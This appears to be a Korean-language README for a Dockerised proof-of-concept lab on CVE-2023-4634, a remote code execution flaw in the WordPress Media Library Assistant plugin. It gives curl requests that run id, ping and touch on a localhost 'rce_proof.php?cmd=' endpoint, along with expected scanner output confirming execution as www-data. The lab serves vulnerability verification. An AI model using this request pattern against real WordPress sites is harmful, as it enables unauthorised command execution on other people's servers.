CVE-2023-4634 - WordPress 플러그인 Media Library Assistant의 RCE 취약점

1. 환경 구축 및 실행

cd Stand
docker-compose up --build -d

2. 서비스 시작 대기 (60초)

sleep 60
curl -I http://localhost:8080

3. 취약점 스캔 실행

cd ../PoC/src
python3 scanner.py http://localhost:8080

4. 수동 RCE 테스트

# Тест команды id
curl "http://localhost:8080/rce_proof.php?cmd=id"

# Тест команды ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"

# Создание файла-доказательства
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"

✅ 예상 결과

scanner.py 출력:

[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt

result.txt 내용:

{
  "cve": "CVE-2023-4634",
  "target": "http://localhost:8080",
  "timestamp": "2025-12-21 13:49:19",
  "vulnerable": true,
  "findings": {
    "wordpress": true,
    "plugin_vulnerable": true,
    "rce_id": true,
    "rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
    "rce_ping": true,
    "rce_file_check": true
  },
  "plugin_version": "3.09",
  "status": "VULNERABLE"
}

🔧 기술 사양

네트워크:

WordPress: 172.20.0.2:80 (localhost:8080에서 접근 가능)
데이터베이스: 172.20.0.3:3306
네트워크: 172.20.0.0/24

요구 사항:

CVE: CVE-2023-4634
취약한 구성 요소: Media Library Assistant 플러그인 < 3.10
취약점 유형: 원격 코드 실행 (RCE)
시스템 요구 사항: Docker, Python 3.7+

📊 RCE 증명

✅ id 명령어 HTTP 실행
✅ ping 명령어 HTTP 실행
✅ /tmp/에 파일 생성
✅ www-data 권한 확인
✅ 결과가 result.txt에 문서화됨

🧹 정리

cd Stand
docker-compose down -v

CVE-2023-4634-PoC

인기